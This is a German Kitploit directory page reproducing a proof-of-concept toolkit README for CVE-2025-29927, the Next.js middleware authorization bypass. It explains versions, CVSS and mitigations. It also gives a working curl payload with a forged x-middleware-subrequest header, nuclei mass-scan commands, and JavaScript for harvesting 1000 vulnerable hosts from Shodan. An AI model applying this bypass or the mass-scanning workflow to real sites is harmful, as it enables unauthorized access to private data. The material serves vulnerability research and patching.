Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-29927 — Proof-of-Concept- und Massenscan-Toolkit für CVE-2025-29927, eine Next.js-Middleware-Autorisierungsbypass über gefälschten x-middleware-subrequest-Header. Enthält Nuclei-Templates und Python-Scanner. | Kitploit
Tools/GitHubGitHub/sdrtba/cve-2025-29927
Authentifizierung & AutorisierungSchwachstellenanalyseIDS/IPS-UmgehungWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Proof-of-Concept- und Massenscan-Toolkit für CVE-2025-29927, eine Next.js-Middleware-Autorisierungsbypass über gefälschten x-middleware-subrequest-Header. Enthält Nuclei-Templates und Python-Scanner.

Repository anzeigen
19vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-29927 — Next.js (middleware authorization bypass)

Kurz gesagt: Schwachstelle in der Next.js-Middleware, die es ermöglicht, Autorisierungsprüfungen durch Fälschung des Headers x-middleware-subrequest zu umgehen.


Inhaltsverzeichnis

  • CVE-2025-29927 — Next.js (middleware authorization bypass)
    • Inhaltsverzeichnis
    • Sammlung anfälliger Hosts
    • Weitere Infos
    • Kurzbeschreibung
    • Details der Schwachstelle
    • CWE Weakness Enumeration
    • Auswirkungen und zusätzliche Risiken
    • Betroffene Versionen
    • CVSS und Metriken
    • PoC — sichere lokale Reproduktion
    • Massenprüfung mit nuclei, Python
      • Nuclei
      • Python-Scanner (Architektur)
    • Mitigation / Remediation
    • Detection / SIEM / IDS-Regeln
    • Erkennung und Massenprüfung (Scanning & Detection)
    • Ressourcen und Links

Sammlung anfälliger Hosts

Ich habe in Shodan mit dem Filter http.headers:"x-middleware-rewrite" gesucht und eine Liste von 1000 Domains abgerufen.

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


Weitere Infos

  1. Kontext und Hintergrund In frühen Versionen der Next.js-Middleware konnten interne (Sub-)Requests an die Anwendung selbst ausgelöst werden. Um Rekursion zu verhindern, führte das Framework dienstliche HTTP-Header ein — interne Marker, die kennzeichneten, dass „diese Anfrage bereits verarbeitet wurde". Dieser Ansatz war praktisch und vermied Endlosschleifen innerhalb der Middleware-Pipeline.

  2. Entwicklung der Middleware und Payloads Vor Next.js 12.2 lag die Middleware als _middleware innerhalb von pages/ und konnte verschachtelt sein (pages/_middleware, pages/dashboard/_middleware usw.). Der Payload konnte einen konkreten Pfad angeben (x-middleware-subrequest: pages/dashboard/_middleware). Ab 12.2 wurde die Middleware als middleware.js/ts benannt und lebte nicht mehr in pages/. In diesem Fall funktionierte ein einfacher Payload wie x-middleware-subrequest: middleware (oder src/middleware bei Verwendung von src/) oft. Spätere Versionen (≥ 13.2.0) führten zusätzliche Prüfungen ein, einschließlich MAX_RECURSION_DEPTH; bei einigen Umgehungen wurden wiederholte Werte wie middleware:middleware:... verwendet, um eine verschachtelte Kette zu simulieren. In der Praxis: Das genaue Payload-Format hängt von der Next.js-Version und der Projektstruktur ab.

  3. Patch-Historie und das Problem mit x-middleware-subrequest-id Der ursprüngliche Schnell-Patch umfasste die Idee einer internen ID — x-middleware-subrequest-id — die zur Laufzeit generiert und geprüft wurde, um gültige interne Subrequests von Fälschungen zu unterscheiden. Die Implementierung zeigte jedoch einen Nebeneffekt: Diese interne ID konnte nach außen gelangen (in ausgehende fetch/Requests), was ein neues Risiko schuf. Zudem erwies sich die Signatur/Synchronisation der IDs in Umgebungen mit vielen CDN/PoP und gemischten Runtimes (Edge vs. Node) als unzuverlässig. Infolgedessen wurde der Code mit x-middleware-subrequest-id entfernt/überarbeitet; die endgültige Lösung ist eine Kombination aus Patches in Next.js und plattformseitigen Mitigations (Filterung eingehender interner Header auf Ingress-/Edge-Ebene).


Kurzbeschreibung

  • CVE: CVE-2025-29927
  • Produkt: Next.js (Vercel)
  • Kurz: Die Middleware, die die Autorisierung implementiert, vertraut fälschlicherweise dem internen Flag x-middleware-subrequest. Ein externer Client kann diesen Header setzen und die Zugriffskontrollen umgehen.
  • NVD-Veröffentlichungsdatum: 21. März 2025
  • CNA: GitHub, Inc.

Details der Schwachstelle

  • Beschreibung: Der Fehler besteht darin, dass die Middleware in Next.js bei der Zugriffsentscheidung auf das interne Merkmal x-middleware-subrequest vertraut. Das Feld war ursprünglich für interne Operationen des Frameworks gedacht, jedoch können externe Anfragen diesen Header setzen, wodurch die Autorisierung umgangen werden kann.
  • Ursache der Schwachstelle: fehlerhafte/unsichere Autorisierungslogik — Vertrauen in einen eingehenden Header.
  • Ausnutzungsbedingungen: Die Webanwendung verwendet ausschließlich Middleware für die Autorisierung; die Anwendung verwendet anfällige Next.js-Versionen.

CWE Weakness Enumeration

  • CWE-863: Incorrect Authorization — primary
    • Evidence: Die Middleware vertraute dem Header 'x-middleware-subrequest' und ließ Anfragen ohne zusätzliche Validierung durch.
  • CWE-285: Improper Authorization — secondary
    • Evidence: Fehlen einer zuverlässigen Authentifizierung/Autorisierung für den Internal-only-Flow.

Auswirkungen und zusätzliche Risiken

  • Auswirkung: Der Autorisierungs-Bypass ermöglicht Zugriff auf private Seiten/Daten, mögliche Eskalation (abhängig von der Anwendung) und Kompromittierung von Nutzerdaten.
  • Zusätzliches Risiko: CPDoS (Cache-Poisoned DoS): Die Schwachstelle kann es ermöglichen, den CDN-/Edge-Cache zu manipulieren (z. B. wenn interne Subrequests Ressourcen als privat/öffentlich markieren), was zu Cache-Poisoning und potenziellem Ausfall oder Datenleak führt.
  • Beispiele für Folgen: PII-Leak, Umgehung der Geschäftslogik, kompromittierte Sitzungen, Eingriffe in das Anwendungs-Routing.

Betroffene Versionen

Folgende Versionsbereiche sind betroffen:

  • >= 11.1.4 und < 12.3.5
  • >= 13.0.0 und < 13.5.9
  • >= 14.0.0 und < 14.2.25
  • >= 15.0.0 und < 15.2.3

CVSS und Metriken

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 (ungefährer Temporal Score).

PoC — sichere lokale Reproduktion

  1. Vulnerable Demo starten:
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. Einfacher Read-only-PoC (curl):
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Massenprüfung mit nuclei, Python

Nuclei

  • Passives Template: Fingerprint-Prüfung (/_next/static/, package.json, Headers, Favicon-Hash) — sicherer Modus.
  • Aktives Template: sendet einen GET-Request mit x-middleware-subrequest und vergleicht die Antwort. Unbedingt Rate-Limit und Throttle verwenden.

Startbefehl (Beispiel):

# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
Tool herunterladen